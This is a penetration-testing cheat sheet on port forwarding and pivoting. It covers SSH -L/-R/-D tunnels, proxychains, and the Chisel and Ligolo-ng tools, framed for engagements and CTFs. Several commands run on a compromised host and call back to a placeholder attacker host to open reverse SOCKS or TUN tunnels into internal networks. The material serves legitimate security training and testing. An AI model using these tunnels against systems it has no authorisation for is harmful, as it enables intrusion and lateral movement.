Port Forwarding
Table of Contents
Redirecting network traffic from one host/port combination to another. Essential for accessing services on networks only reachable through a compromised host, and for receiving connections back through restrictive firewalls.
Related: Pivoting Lateral Movement Netcat SSH
Local Port Forwarding
Forward a port on your attacking machine to a port on a remote host, via an SSH jump host. Useful when a service is only accessible from the compromised host.
# Access target:8080 via localhost:9090 through jump host ssh -L 9090:target:8080 user@jumphost
Remote Port Forwarding
Forward a port on the remote host back to your attacking machine. Useful when the target cannot reach you directly — common in CTFs where the target is behind NAT.
# Forward attacking machine port 4444 to target localhost:4444 ssh -R 4444:localhost:4444 user@attackingmachine
Dynamic Port Forwarding (SOCKS Proxy)
Creates a SOCKS proxy through the SSH connection, allowing you to route arbitrary traffic through the compromised host via proxychains.
# Create SOCKS proxy on local port 1080 ssh -D 1080 user@jumphost
Then configure proxychains in /etc/proxychains.conf:
socks5 127.0.0.1 1080
Run tools through it:
proxychains nmap -sT -Pn target
Chisel
Pure Go tool that creates encrypted tunnels over HTTP. Useful when SSH is not available or outbound SSH is blocked.
# On attacking machine (server) chisel server -p 8080 --reverse # On compromised host (client) — reverse SOCKS proxy chisel client attackerip:8080 R:socks
Route traffic through it with proxychains on port 1080.
Ligolo-ng
More capable tunnelling tool that creates a TUN interface, meaning tools work without proxychains — cleaner for complex pivoting.
# On attacking machine ./proxy -selfcert # On compromised host ./agent -connect attackerip:11601 -ignore-cert
Then in the ligolo interface:
session start
Add a route to the internal network:
sudo ip route add 192.168.1.0/24 dev ligolo
Tips
- SSH port forwarding requires SSH access — use Chisel or Ligolo when only HTTP/S is available outbound.
- Ligolo-ng is generally preferred over proxychains for complex multi-hop scenarios — tools behave normally without modification.
- Always clean up tunnels and routes after an engagement.
- On CTFs, check if SSH is open on the target before reaching for heavier tooling.